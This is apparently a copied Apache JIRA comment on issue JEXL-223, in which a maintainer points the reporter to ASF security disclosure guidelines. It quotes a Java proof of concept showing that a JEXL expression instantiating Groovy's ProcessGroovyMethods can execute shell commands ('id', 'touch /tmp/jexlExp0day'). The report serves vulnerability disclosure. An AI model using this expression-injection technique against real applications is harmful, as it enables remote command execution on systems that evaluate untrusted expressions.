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https://issues.apache.org/jira/browse/JEXL-223?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15978236#comment-15978236
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Bruno P. Kinoshita commented on JEXL-223:
-----------------------------------------
Edited to add code format.
Also, see http://www.apache.org/security/. For Security/Vulnerabilities issues,
it is better to follow the guidelines provided by the ASF Security Team when
disclosing issues like this.
> Apache Commons JEXL Expression Execute Command Vulnerabilitity
> --------------------------------------------------------------
>
> Key: JEXL-223
> URL: https://issues.apache.org/jira/browse/JEXL-223
> Project: Commons JEXL
> Issue Type: Bug
> Reporter: cnbird
> Priority: Critical
>
> 0x01 Summary
> Apache Commons JEXL Expression Execute Command Vulnerabilitity throught
> groovy.
> 0x02 POC
> {code}
> import java.io.IOException;
> import java.util.List;
> import org.apache.commons.jexl3.JexlBuilder;
> import org.apache.commons.jexl3.JexlContext;
> import org.apache.commons.jexl3.JexlEngine;
> import org.apache.commons.jexl3.JexlExpression;
> import org.apache.commons.jexl3.MapContext;
> import org.codehaus.groovy.runtime.ProcessGroovyMethods;
> public class elExp {
> public static void main(String args[]) throws IOException {
> // Create or retrieve an engine
> JexlEngine jexl = new JexlBuilder().create();
> // Create an expression
> //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
> ProcessGroovyMethods n = new ProcessGroovyMethods();
> System.out.println(n.execute("id").toString());
> String jexlExp =
> "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
> /tmp/jexlExp0day\")";
> JexlExpression e = jexl.createExpression( jexlExp );
> try {
>
> Process process = new ProcessBuilder("id").start();
> } catch (IOException e1) {
> // TODO Auto-generated catch block
> e1.printStackTrace();
> }
> // Create a context and add data
> JexlContext jc = new MapContext();
> jc.set("foo", jexlExp );
>
> // Now evaluate the expression, getting the result
> Object o = e.evaluate(jc);
> System.out.println(o);
> }
> }
> {code}
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